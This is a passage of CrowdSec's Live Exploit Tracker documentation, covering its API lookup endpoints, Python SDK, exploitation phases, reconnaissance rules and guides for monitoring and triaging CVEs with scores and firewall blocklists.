products โ€” including new ones added in the future. ### List Subscribed Integrations for a Vendor[โ€‹](#list-subscribed-integrations-for-a-vendor "Direct link to List Subscribed Integrations for a Vendor") TEXTCOPY ``` GET /v1/vendors/{vendor}/integrations ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/vendors/Microsoft/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ### Unsubscribe an Integration from a Vendor[โ€‹](#unsubscribe-an-integration-from-a-vendor "Direct link to Unsubscribe an Integration from a Vendor") TEXTCOPY ``` DELETE /v1/vendors/{vendor}/integrations/{integration_name} ``` SHCOPY ``` curl -X 'DELETE' \ 'https://admin.api.crowdsec.net/v1/vendors/Microsoft/integrations/production_firewall' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Products[โ€‹](#products "Direct link to Products") Products are specific software applications (e.g., Exchange Server, BIG-IP, WordPress). ### List All Products[โ€‹](#list-all-products "Direct link to List All Products") TEXTCOPY ``` GET /v1/products ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/products?page=1&size=20' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ### Get Product Impact[โ€‹](#get-product-impact "Direct link to Get Product Impact") View all CVEs and fingerprint rules affecting a specific product: TEXTCOPY ``` GET /v1/products/{product} ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/products/Exchange%20Server' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Use Cases[โ€‹](#use-cases "Direct link to Use Cases") These lookup endpoints are particularly useful for: * **Asset-based monitoring**: "Show me all tracked threats for the products in my technology stack." * **Coverage assessment**: "How many vulnerabilities affecting WordPress does CrowdSec track?" * **Reporting**: "What's the overall threat landscape for enterprise software this month?" * **Vendor subscriptions**: Subscribe an integration to your vendors and automatically receive blocklist coverage for all their current and future CVEs and reconnaissance rules โ€” no scripting required. --- # SDKs & Libraries CrowdSec provides official SDKs to simplify integration with the Live Exploit Tracker API. These libraries handle authentication, request construction, response parsing, and provide typed models for a better developer experience. ## Python SDK[โ€‹](#python-sdk "Direct link to Python SDK") The official Python SDK is the recommended way to interact with the API from Python applications, scripts, and automation pipelines. ### Installation[โ€‹](#installation "Direct link to Installation") SHCOPY ``` pip install crowdsec_service_api ``` **Requirements**: Python 3.11+ **Source**: [github.com/crowdsecurity/crowdsec-service-api-sdk-python](https://github.com/crowdsecurity/crowdsec-service-api-sdk-python) ### Authentication[โ€‹](#authentication "Direct link to Authentication") PYCOPY ``` import os from crowdsec_service_api import ApiKeyAuth, Server KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") # Configure authentication auth = ApiKeyAuth(api_key=KEY) # The SDK automatically uses the production server URL # You can also set it explicitly: # base_url = Server.production_server.value ``` ### Service Classes[โ€‹](#service-classes "Direct link to Service Classes") The SDK provides typed service classes for each API domain: | Service Class | Purpose | Key Methods | | -------------- | ------------------------------- | -------------------------------------------------------------------------------------------- | | `Cves` | CVE intelligence | `get_cves()`, `get_cve()`, `get_cve_ips()` | | `Integrations` | Firewall integration management | `get_integrations()`, `create_integration()`, `update_integration()`, `delete_integration()` | ### Examples[โ€‹](#examples "Direct link to Examples") #### List trending CVEs[โ€‹](#list-trending-cves "Direct link to List trending CVEs") PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) cves_service = Cves(auth=auth) try: response = cves_service.get_cves(page=1, size=10) for cve in response.items: print(f"{cve.name}: CrowdSec Score={cve.crowdsec_score}, " f"Phase={cve.exploitation_phase.label}, " f"IPs={cve.nb_ips}") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` #### Get detailed CVE intelligence[โ€‹](#get-detailed-cve-intelligence "Direct link to Get detailed CVE intelligence") PYCOPY ``` try: cve = cves_service.get_cve("CVE-2024-25600") print(f"Title: {cve.title}") print(f"CrowdSec Score: {cve.crowdsec_score}") print(f"Phase: {cve.exploitation_phase.label}") print(f"Analysis: {cve.crowdsec_analysis[:200]}...") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` #### Retrieve attacker IPs for a CVE[โ€‹](#retrieve-attacker-ips-for-a-cve "Direct link to Retrieve attacker IPs for a CVE") PYCOPY ``` try: response = cves_service.get_cve_ips("CVE-2024-25600", page=1, size=10) for ip_item in response.items: print(f"{ip_item.ip}: reputation={ip_item.reputation}, " f"country={ip_item.location.country}") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` #### Create and manage a firewall integration[โ€‹](#create-and-manage-a-firewall-integration "Direct link to Create and manage a firewall integration") PYCOPY ``` from crowdsec_service_api import ( Integrations, IntegrationCreateRequest, IntegrationType, OutputFormat, ApiKeyAuth, ) integrations_service = Integrations(auth=auth) # Create request = IntegrationCreateRequest( name="paloalto_production", description="Production Palo Alto firewall - CVE blocklist", entity_type=IntegrationType.FIREWALL_INTEGRATION.value, output_format=OutputFormat.PALOALTO.value, ) response = integrations_service.create_integration(request=request) print(f"Integration ID: {response.id}") # IMPORTANT: Save the credentials โ€” they are only shown once! ``` ## Other Languages[โ€‹](#other-languages "Direct link to Other Languages") Need the API in another language? The REST API is straightforward to call from any HTTP client โ€” see [Authentication & Setup](https://docs.crowdsec.net/u/tracker_api/api_authentication.md) for the base URL and authentication details, and the [API Reference](https://admin.api.crowdsec.net/v1/docs#tag/Cves) for the full OpenAPI specification. If you'd like to see an official SDK for your language, let us know on [GitHub](https://github.com/crowdsecurity) or [Discord](https://discord.gg/crowdsec). --- # CrowdSec Analysis ## What is the CrowdSec Analysis[โ€‹](#what-is-the-crowdsec-analysis "Direct link to What is the CrowdSec Analysis") Every tracked CVE with sufficient data includes a **CrowdSec Analysis** โ€” a human-readable intelligence narrative that synthesizes what CrowdSec has observed about the vulnerability and its exploitation in the wild. Unlike raw scores or static CVE descriptions, the analysis tells a story: what the vulnerability does, how attackers are using it, what patterns have been observed, and what specific indicators to watch for. ## What the Analysis Contains[โ€‹](#what-the-analysis-contains "Direct link to What the Analysis Contains") A typical CrowdSec Analysis covers four areas: ### 1. Vulnerability Summary[โ€‹](#1-vulnerability-summary "Direct link to 1. Vulnerability Summary") A concise explanation of the vulnerability itself โ€” what it allows an attacker to do and why it matters. This goes beyond the standard CVE description by focusing on practical impact rather than technical classification. ### 2. Tracking Timeline[โ€‹](#2-tracking-timeline "Direct link to 2. Tracking Timeline") When CrowdSec started tracking this vulnerability, which provides context for how mature the telemetry data is. A CVE tracked for months will have richer behavioral data than one added last week. ### 3. Exploitation Patterns[โ€‹](#3-exploitation-patterns "Direct link to 3. Exploitation Patterns") The most operationally valuable part. Based on CrowdSec Network telemetry, this section describes: * **Attack sophistication**: Are attackers conducting reconnaissance first, or blindly spraying exploits? Are campaigns tailored to specific environments? * **Trend analysis**: Is exploitation activity increasing, decreasing, or steady? How does current volume compare to historical averages? * **Attacker behavior**: What does the typical attack campaign look like? Is it a single coordinated group or many independent actors? ### 4. Technical Indicators[โ€‹](#4-technical-indicators "Direct link to 4. Technical Indicators") Specific, actionable details about what the exploitation looks like on the wire. This typically includes: * Targeted URLs or endpoints (e.g., `/wp-json/bricks/v1/render_element`) * HTTP methods and payload characteristics * Request patterns that distinguish exploitation from legitimate traffic These indicators can be used to write detection rules, validate alerts, or understand what your WAF logs should show during an exploitation attempt. ## How to Use It[โ€‹](#how-to-use-it "Direct link to How to Use It") ### In Triage[โ€‹](#in-triage "Direct link to In Triage") When investigating an alert, the CrowdSec Analysis tells you whether the attack pattern you're seeing matches what's being observed globally. If your logs show requests to the exact endpoint described in the analysis, that's strong confirmation of an exploitation attempt โ€” not a false positive. ### In Reporting[โ€‹](#in-reporting "Direct link to In Reporting") The analysis provides ready-to-use language for security briefings. Instead of presenting raw scores to stakeholders, you can reference the narrative: "CrowdSec observes that attackers are performing focused reconnaissance before exploiting this vulnerability, and activity has been growing week-over-week." ### In Threat Hunting[โ€‹](#in-threat-hunting "Direct link to In Threat Hunting") The technical indicators section points you to exactly where to look in your logs. Search for the specific URLs, parameters, or request patterns described in the analysis to identify exploitation attempts โ€” both successful and blocked. ## Accessing the Analysis[โ€‹](#accessing-the-analysis "Direct link to Accessing the Analysis") ### Web Interface[โ€‹](#web-interface "Direct link to Web Interface") The CrowdSec Analysis is displayed prominently on each CVE's detail page in the [web interface](https://tracker.crowdsec.net). ### API[โ€‹](#api "Direct link to API") The analysis is returned in the `crowdsec_analysis` field of the CVE detail endpoint: SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response includes the full analysis text in the `crowdsec_analysis` field, formatted as Markdown with links to external references. info The CrowdSec Analysis is not available for CVEs in the *Insufficient Data* phase, as there isn't enough telemetry to generate meaningful intelligence. --- # Exploitation Phases ## Overview[โ€‹](#overview "Direct link to Overview") Every tracked CVE and fingerprint rule is assigned an **exploitation phase** that describes where it sits in its lifecycle. While the [scores](https://docs.crowdsec.net/u/tracker_api/scores.md) give you numerical ratings, the exploitation phase gives you a qualitative label that's immediately understandable in conversations, reports, and dashboards. The phases are determined by analyzing exploitation telemetry from the CrowdSec Network over time โ€” they reflect real attacker behavior, not theoretical risk. ## The Phases[โ€‹](#the-phases "Direct link to The Phases") ### Insufficient Data[โ€‹](#insufficient-data "Direct link to Insufficient Data") > *"Not enough CrowdSec telemetry data is available to confidently assess how this vulnerability is exploited in the wild."* This is the starting state for newly tracked CVEs or those affecting products with limited representation in the CrowdSec Network. It does **not** mean the CVE isn't being exploited โ€” only that CrowdSec doesn't have enough observations to characterize the exploitation pattern with confidence. **What to do**: Fall back to traditional risk indicators (CVSS score, public exploit availability, vendor advisory severity) until CrowdSec telemetry matures for this CVE. Check back periodically as the phase will update when sufficient data is collected. ### Early Exploitation[โ€‹](#early-exploitation "Direct link to Early Exploitation") > *"Early exploitation attempts have been observed, but activity remains limited and not yet widespread."* CrowdSec is picking up the first real signals โ€” scan traffic or small-scale exploit attempts. It's not yet a campaign. This phase often appears in the days after a public PoC drops for a CVE that hasn't been widely weaponized yet. **What to do**: Begin prioritizing this CVE for patching. The window between Early Exploitation and a broader campaign can be short โ€” track momentum closely and reassess frequently. ### Fresh and Popular[โ€‹](#fresh-and-popular "Direct link to Fresh and Popular") > *"The vulnerability is recent and currently shows strong attacker interest with rapidly increasing exploitation activity."* This CVE is gaining rapid traction in the attacker community. Volume is growing fast and multiple actors are experimenting with it. It may be on the verge of tipping into Mass Exploitation. **What to do**: Treat this as high urgency. Patch immediately if possible. Deploy blocklists proactively โ€” don't wait for confirmed hits on your infrastructure. ### Unpopular[โ€‹](#unpopular "Direct link to Unpopular") > *"The vulnerability is known but shows very limited attacker interest or exploitation activity."* CrowdSec has data for this CVE but observes minimal exploitation. Attackers are either unaware of it, unable to exploit it at scale, or have moved on to more productive targets. **What to do**: Patch within your standard maintenance cycle. This is low on the priority list unless your specific environment makes it unusually exploitable. ### Background Noise[โ€‹](#background-noise "Direct link to Background Noise") > *"Continuous low-level scanning or exploitation attempts are observed, mostly opportunistic and automated."* This is the "internet weather" phase. The CVE is being hit by automated scanners and botnets as part of broad, indiscriminate campaigns. It's persistent but generally not dangerous to well-maintained infrastructure. Think of it like port-scanning on port 22: it happens constantly, to everyone, and by itself it's not cause for alarm. **What to do**: Ensure patches are applied. Consider blocklists if you want to reduce noise in your logs. Individual alerts are low-signal โ€” don't let them dominate your SOC's attention. ### Targeted Exploitation[โ€‹](#targeted-exploitation "Direct link to Targeted Exploitation") > *"Exploitation is observed against specific targets or environments, suggesting focused and intentional attack campaigns."* This is where things get serious. Attackers are performing reconnaissance, selecting targets based on exposure and configuration, and launching deliberate campaigns. An alert for a CVE in this phase is much more likely to represent a real attack on your organization. **What to do**: Prioritize patching urgently. Deploy blocklists via firewall integrations. If you see alerts on your infrastructure for CVEs in this phase, investigate them as potential incidents โ€” not just noise. ### Mass Exploitation[โ€‹](#mass-exploitation "Direct link to Mass Exploitation") > *"The vulnerability is actively exploited at scale across the internet, often via automated tools and large attack campaigns."* The vulnerability has been weaponized at scale. Multiple threat actor groups are exploiting it, exploit code is widely available, and attack volume is high. This typically happens with high-impact vulnerabilities in widely deployed software. **What to do**: Treat this as an emergency if you haven't patched yet. Verify patch status across your entire estate. Deploy blocklists immediately. Monitor for signs of compromise, as exploitation may have occurred before you acted. ### Wearing Out[โ€‹](#wearing-out "Direct link to Wearing Out") > *"Exploitation activity is decreasing over time, likely due to patch adoption or reduced attacker interest."* The peak campaign has passed. Patch adoption is reducing the attack surface and/or attackers have moved on. Activity is still present but on a clear downward trend. **What to do**: If you haven't patched yet, do it now while the pressure is lower. This phase is a second chance โ€” exploitation is easier to attribute and less noisy than at peak. ## Phase Transitions[โ€‹](#phase-transitions "Direct link to Phase Transitions") CVEs don't always move linearly through these phases. Common patterns include: * **New PoC drops**: A CVE moves from *Insufficient Data* to *Early Exploitation* within days of a public proof-of-concept being published. * **Rapid weaponization**: *Early Exploitation* escalates to *Fresh and Popular* when multiple threat actors adopt the CVE simultaneously. * **Fresh and Popular โ†’ Mass Exploitation**: The most common escalation path for high-impact CVEs in widely deployed software when no effective mitigation is available. * **Fresh and Popular โ†’ Wearing Out**: Some CVEs peak quickly and decline before ever reaching mass scale โ€” the community patches fast or the target surface is limited. * **Old CVE with new exploit toolkit**: A CVE in *Background Noise* for years can escalate to *Targeted Exploitation* or *Mass Exploitation* when added to a popular exploit framework. * **Campaign ends โ†’ Wearing Out**: After a *Mass Exploitation* or *Targeted Exploitation* campaign concludes, activity enters a decline. * **Wearing Out โ†’ Background Noise**: Residual automated scanning typically continues long-term, settling into steady-state low-level activity. ## Phases and Scores Together[โ€‹](#phases-and-scores-together "Direct link to Phases and Scores Together") The exploitation phase and numerical scores provide **complementary but independent** signals. Phases are determined by analyzing exploitation patterns over time, while scores reflect the current snapshot. This means a CVE can have a high CrowdSec Score while still in the Insufficient Data phase (for example, a newly tracked CVE with intense but recent activity that hasn't been observed long enough to classify). caution Do not assume phases predict score ranges. A Background Noise CVE can have a CrowdSec Score of 6 if it has surging volume (high Momentum), while a Mass Exploitation CVE can have a score of 3 if the campaign is winding down. Use both signals together for a complete picture. Typical ranges observed in practice: | Phase | Typical CrowdSec Score | Typical Opportunity Score | Typical Momentum Score | | --------------------- | ---------------------- | ------------------------- | ---------------------- | | Insufficient Data | 0โ€“9 | 0โ€“5 | 0โ€“5 | | Early Exploitation | 2โ€“6 | 1โ€“3 | 2โ€“5 | | Fresh and Popular | 5โ€“9 | 2โ€“4 | 4โ€“5 | | Unpopular | 1โ€“7 | 1โ€“2 | 0โ€“5 | | Background Noise | 1โ€“6 | 1โ€“2 | 0โ€“5 | | Targeted Exploitation | 7โ€“8 | 4โ€“5 | 2โ€“4 | | Mass Exploitation | 3โ€“7 | 1โ€“5 | 0โ€“4 | | Wearing Out | 1โ€“5 | 1โ€“3 | 0โ€“2 | Targeted Exploitation is the most predictable: it consistently shows high Opportunity scores (4โ€“5) and elevated CrowdSec Scores. Fresh and Popular stands out for its high Momentum (4โ€“5), reflecting the rapid growth in activity. Wearing Out is characterized by low and falling Momentum. Other phases are more loosely correlated โ€” Background Noise and Unpopular overlap significantly in score ranges. --- # Reconnaissance Rules vs CVEs Terminology Reconnaissance rules are called **"Reconnaissance"** or **"Recon Rules"** in the web interface, and **"fingerprint rules"** or **"fingerprints"** in the API. This documentation uses both terms interchangeably โ€” they refer to the same thing. ## Two Types of Tracking[โ€‹](#two-types-of-tracking "Direct link to Two Types of Tracking") The Live Exploit Tracker monitors threats at two levels: * **CVEs**: Specific, named vulnerabilities (e.g., CVE-2024-25600 โ€” a code injection flaw in Bricks Builder for WordPress). * **Reconnaissance Rules** (API: fingerprint rules): Product-level probing patterns that detect reconnaissance or exploitation activity targeting a product family, regardless of which specific CVE the attacker intends to exploit. Both share the same scoring system ([CrowdSec Score, Opportunity/Targeted Score, Momentum Score](https://docs.crowdsec.net/u/tracker_api/scores.md)), the same [exploitation phases](https://docs.crowdsec.net/u/tracker_api/exploitation_phases.md), and the same integration/blocklist capabilities. The difference is in what they track and why. ## CVE Tracking[โ€‹](#cve-tracking "Direct link to CVE Tracking") A CVE entry in the tracker focuses on a **single, identified vulnerability**. The detection rule is built around the specific exploit technique โ€” the URL, the payload structure, the HTTP method โ€” that attackers use to exploit that particular flaw. CVE tracking is ideal when: * You know which specific vulnerabilities affect your environment * You want to monitor exploitation of a known flaw you haven't patched yet * You need to assess the urgency of a specific patch Each CVE entry includes a description, CVSS score, CWE classification, references, a CrowdSec Analysis, and a timeline of key events (CVE published, detection rule released, first exploitation observed). ## Fingerprint Rule Tracking[โ€‹](#fingerprint-rule-tracking "Direct link to Fingerprint Rule Tracking") A fingerprint rule detects **product-level probing and reconnaissance activity** that doesn't map to a single CVE. Instead, it catches patterns like: * Scanning for the presence of a specific product (e.g., probing known Microsoft Exchange endpoints to determine if a server is running Exchange) * Enumeration of product versions or configurations * Broad reconnaissance that could precede exploitation of any of several CVEs affecting that product ### Examples[โ€‹](#examples "Direct link to Examples") | Fingerprint Rule | What It Detects | | ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- | | **Microsoft Exchange Probing** | Reconnaissance targeting Exchange servers, including version detection and endpoint enumeration across Exchange Server, OWA, and EWS. | | **F5 Probing** | Scanning activity targeting F5 BIG-IP and TMUI interfaces. | | **WordPress Probing** | Broad WordPress discovery and enumeration activity. | ### Why Fingerprints Matter[โ€‹](#why-fingerprints-matter "Direct link to Why Fingerprints Matter") Fingerprint rules fill a critical gap: 1. **Early warning**: Reconnaissance typically precedes exploitation. Seeing fingerprint activity targeting a product you run suggests an attacker is mapping your attack surface โ€” even if they haven't launched an exploit yet. 2. **Zero-day coverage**: When a new vulnerability is disclosed for a product, attackers who were already probing that product may exploit it immediately. If you're tracking the fingerprint rule, you already have visibility into who has been scanning your infrastructure. 3. **Multi-CVE protection**: A single product may have dozens of CVEs. [Vendor subscriptions](https://docs.crowdsec.net/u/tracker_api/api_lookups.md#subscribe-an-integration-to-a-vendor) automatically cover all CVEs and reconnaissance rules for a vendor's products. Fingerprint rules complement this by providing reconnaissance-specific visibility โ€” detecting probing activity that precedes exploitation. ## Feature Comparison[โ€‹](#feature-comparison "Direct link to Feature Comparison") | Capability | CVEs | Fingerprints | | ---------------------------------------- | ---- | ------------ | | Scores (CrowdSec, Opportunity, Momentum) | โœ… | โœ… | | Exploitation phases | โœ… | โœ… | | IP intelligence (attacker IPs with CTI) | โœ… | โœ… | | Timeline (activity over time) | โœ… | โœ… | | Firewall integration subscriptions | โœ… | โœ… | | CVSS score | โœ… | โ€” | | CWE classification | โœ… | โ€” | | CrowdSec Analysis narrative | โœ… | โœ… | | CVE events timeline | โœ… | โ€” | ## Using Them Together[โ€‹](#using-them-together "Direct link to Using Them Together") The most comprehensive monitoring strategy combines vendor subscriptions with targeted CVE and reconnaissance rule tracking: 1. **Subscribe to your vendors** โ€” this is the simplest starting point. A vendor subscription automatically covers all current and future CVEs and reconnaissance rules for that vendor's products. See [Vendor Subscriptions](https://docs.crowdsec.net/u/tracker_api/api_lookups.md#subscribe-an-integration-to-a-vendor). 2. **Add individual fingerprint rules** for products outside your subscribed vendors, or when you want reconnaissance-specific visibility. 3. **Monitor specific CVEs** for unpatched vulnerabilities to inform patching priorities and triage decisions. For example, if you run WordPress and Microsoft infrastructure: * Subscribe to the **WordPress** and **Microsoft** vendors to automatically cover all their CVEs and reconnaissance rules * Add individual subscriptions for any other products you use that aren't covered by a vendor subscription (e.g., a niche plugin or appliance) * Use the tracker's scores and phases to prioritize which patches to apply first --- # Guide: Proactive Monitoring ## Scenario[โ€‹](#scenario "Direct link to Scenario") Rather than reacting to alerts one at a time, you want to **proactively monitor** the threat landscape for vulnerabilities relevant to your technology stack. This guide shows how to set up ongoing monitoring using the Live Exploit Tracker. ## Step 1: Identify Your Technology Stack[โ€‹](#step-1-identify-your-technology-stack "Direct link to Step 1: Identify Your Technology Stack") Start by identifying the vendors, products, and technology categories you care about. Common examples: | If you run... | Monitor these tags/vendors | | ------------------------ | ------------------------------------------------ | | WordPress sites | Tag: `wordpress`, `cms` | | Microsoft infrastructure | Vendor: `Microsoft`, Tags: `enterprise_software` | | Network appliances | Vendors: `F5`, `Cisco`, `Palo Alto`, `Fortinet` | | Java applications | Tag: `web_application`, specific product names | ## Step 2: Explore Coverage[โ€‹](#step-2-explore-coverage "Direct link to Step 2: Explore Coverage") Use the lookup endpoints to see what CrowdSec tracks for your stack. ### Via Web Interface[โ€‹](#via-web-interface "Direct link to Via Web Interface") Browse the CVE and fingerprint rule lists, filtering by tag or searching by product name. ### Via API[โ€‹](#via-api "Direct link to Via API") SHCOPY ``` # What WordPress vulnerabilities does CrowdSec track? curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/tags/wordpress' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' # What Microsoft products are covered? curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/vendors/Microsoft' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' # What fingerprint rules exist for Exchange? curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints?page=1&size=50' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Step 3: Subscribe to Your Vendors[โ€‹](#step-3-subscribe-to-your-vendors "Direct link to Step 3: Subscribe to Your Vendors") The simplest way to get broad, ongoing coverage is to subscribe your integration to the **vendors** in your technology stack. A vendor subscription automatically covers all current and future CVEs and reconnaissance rules for that vendor's products โ€” when a new threat is added, your blocklist is updated without any action on your part. 1. Create a firewall integration (if you don't have one) โ€” see [Integrations & Blocklists](https://docs.crowdsec.net/u/tracker_api/api_integrations.md) 2. Subscribe the integration to each vendor you rely on SHCOPY ``` # Subscribe to all Microsoft threats curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/vendors/Microsoft/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{"name": "production_firewall"}' # Subscribe to all Citrix threats curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/vendors/Citrix/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{"name": "production_firewall"}' ``` For threats outside your subscribed vendors, you can also subscribe to individual [fingerprint rules](https://docs.crowdsec.net/u/tracker_api/fingerprints_vs_cves.md) or CVEs: SHCOPY ``` # Subscribe to a specific reconnaissance rule curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{"name": "production_firewall"}' ``` ## Step 4: Monitor New and Trending CVEs[โ€‹](#step-4-monitor-new-and-trending-cves "Direct link to Step 4: Monitor New and Trending CVEs") If you've subscribed to your vendors (Step 3), new CVEs are automatically covered in your blocklist. However, you'll still want to monitor the threat landscape for situational awareness and to inform patching priorities: SHCOPY ``` # Get the latest detection rules, sorted by release date curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves?sort_by=rule_release_date&sort_order=desc&size=20' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' # Get the most actively exploited CVEs right now curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves?sort_by=trending&sort_order=desc&size=20' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` For each new CVE that affects your products: 1. Check the **CrowdSec Score** and **Exploitation Phase** 2. Read the **CrowdSec Analysis** for exploitation context 3. If the CVE is from a vendor you've subscribed to, your blocklist is already protecting you. If not, subscribe the integration to the CVE directly. 4. Open a patching ticket with the appropriate priority ## Step 5: Build a Monitoring Script[โ€‹](#step-5-build-a-monitoring-script "Direct link to Step 5: Build a Monitoring Script") Here's a template for a daily check that surfaces new and trending threats for your stack: PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) cves_service = Cves(auth=auth) # Define your technology stack tags MY_TAGS = {"wordpress", "cms", "enterprise_software"} # Get trending CVEs response = cves_service.get_cves(page=1, size=50) alerts = [] for cve in response.items: # Filter for CVEs relevant to your stack cve_tags = set(getattr(cve, 'tags', []) or []) if not cve_tags.intersection(MY_TAGS): continue # Flag anything with a meaningful CrowdSec Score if cve.crowdsec_score >= 4: alerts.append({ "cve": cve.name, "title": cve.title, "score": cve.crowdsec_score, "phase": cve.exploitation_phase.label, "ips": cve.nb_ips, }) # Output alerts (integrate with your notification system) for alert in sorted(alerts, key=lambda x: x["score"], reverse=True): print(f"[Score {alert['score']}] {alert['cve']}: {alert['title']}") print(f" Phase: {alert['phase']}, Active IPs: {alert['ips']}") ``` ## Step 6: Integrate with Your Security Stack[โ€‹](#step-6-integrate-with-your-security-stack "Direct link to Step 6: Integrate with Your Security Stack") The Live Exploit Tracker API can feed data into: * **SIEM**: Enrich alerts with CrowdSec Scores and exploitation context. When your SIEM fires an alert for a CVE, automatically look up the CrowdSec intelligence to assign priority. * **SOAR**: Build playbooks that react to new high-severity CVEs. If you're using vendor subscriptions, the blocklist is already covered โ€” your playbook can focus on escalation, ticket creation, and patching workflows. * **Vulnerability Management**: Correlate your vulnerability scanner findings with real-world exploitation data to reorder your patch queue. * **Reporting Dashboards**: Pull scores and phase data into your security dashboard to give leadership a real-time view of the threat landscape. --- # Guide: Triage Workflow ## Scenario[โ€‹](#scenario "Direct link to Scenario") You've received a security alert โ€” your vulnerability scanner flagged a CVE, a vendor published a critical advisory, or your SIEM correlated an event with a known vulnerability. You need to decide: **how urgently should I act?** This guide walks through using the Live Exploit Tracker to turn a CVE identifier into an informed triage decision. ## Step 1: Look Up the CVE[โ€‹](#step-1-look-up-the-cve "Direct link to Step 1: Look Up the CVE") Navigate to the CVE in the [web interface](https://tracker.crowdsec.net) by searching for its ID (e.g., `CVE-2024-25600`), or query the API: SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Step 2: Read the CrowdSec Score[โ€‹](#step-2-read-the-crowdsec-score "Direct link to Step 2: Read the CrowdSec Score") The **CrowdSec Score** is your first signal. Think of it as a traffic light: | Score | Action | | -------- | -------------------------------------------------------------------------- | | **0โ€“3** | ๐ŸŸข Standard priority. Patch in your normal maintenance window. | | **4โ€“6** | ๐ŸŸก Elevated priority. Move it up in the patch queue. Consider a blocklist. | | **7โ€“10** | ๐Ÿ”ด Urgent. Escalate immediately. Deploy mitigations now. | ## Step 3: Understand the Context[โ€‹](#step-3-understand-the-context "Direct link to Step 3: Understand the Context") The score alone doesn't tell the full story. Check these fields to understand *why* the score is what it is: ### Opportunity Score[โ€‹](#opportunity-score "Direct link to Opportunity Score") * **High (4โ€“5)**: Attackers are deliberately targeting victims. If you see an alert on your systems, take it seriously โ€” someone likely chose to attack you. * **Low (0โ€“1)**: Mass scanning. You're one of millions being probed. The alert is real but low-signal. ### Momentum Score[โ€‹](#momentum-score "Direct link to Momentum Score") * **High (4โ€“5)**: Exploitation is surging. A new campaign is underway. Act fast โ€” the threat is getting worse. * **Low (0โ€“1)**: Activity is declining. The threat is fading, though you should still patch. ### Exploitation Phase[โ€‹](#exploitation-phase "Direct link to Exploitation Phase") * **Mass Exploitation** or **Targeted Exploitation**: The threat is active and real. Treat as urgent. * **Background Noise**: Ongoing but low-level. Standard patching is appropriate. * **Unpopular** or **Insufficient Data**: Limited attacker interest. Low urgency. ## Step 4: Read the CrowdSec Analysis[โ€‹](#step-4-read-the-crowdsec-analysis "Direct link to Step 4: Read the CrowdSec Analysis") The `crowdsec_analysis` field provides a narrative that puts everything in context. It covers: * How the vulnerability is being exploited * Whether attacks are targeted or opportunistic * How activity is trending * Specific indicators (URLs, endpoints, payload patterns) This is the section you want to include in your incident report or escalation email. ## Step 5: Check the Attacker IPs[โ€‹](#step-5-check-the-attacker-ips "Direct link to Step 5: Check the Attacker IPs") If you've seen suspicious traffic on your network, check whether the source IPs appear in the tracker: 1. Go to the CVE detail page and view the **Attacker IPs** section 2. Check whether the IPs hitting your infrastructure match known exploiters 3. Review the CTI data for those IPs: are they known botnets, legitimate scanners, or fresh infrastructure? If your attacker IP matches a known exploiter with a `malicious` reputation and attack history, that's strong confirmation of an exploitation attempt. ## Step 6: Decide and Act[โ€‹](#step-6-decide-and-act "Direct link to Step 6: Decide and Act") Based on what you've found: | Finding | Recommended Action | | ---------------------------------------- | ------------------------------------------------------------------------------ | | High CrowdSec Score + Targeted + Growing | **Emergency patch.** Deploy blocklist immediately. Investigate for compromise. | | High CrowdSec Score + Mass exploitation | **Urgent patch.** Deploy blocklist. Check all instances of affected software. | | Moderate score + Background noise | **Prioritize patch** within days, not weeks. Blocklist optional. | | Low score + Unpopular | **Standard patch** cycle. Monitor for phase changes. | | Insufficient data | **Fall back to CVSS** and vendor advisory. Check back for updates. | ## Step 7: Deploy Mitigation (If Needed)[โ€‹](#step-7-deploy-mitigation-if-needed "Direct link to Step 7: Deploy Mitigation (If Needed)") If the situation calls for immediate mitigation: 1. **Check your vendor subscriptions first** โ€” if you've already subscribed an integration to this CVE's vendor, your blocklist is already covering this threat automatically. 2. If not, **create a firewall integration** (if you don't have one) โ€” see [Integrations & Blocklists](https://docs.crowdsec.net/u/tracker_api/api_integrations.md) 3. **Subscribe it to the CVE** (or to the vendor for broader coverage) โ€” either via the web interface or API 4. 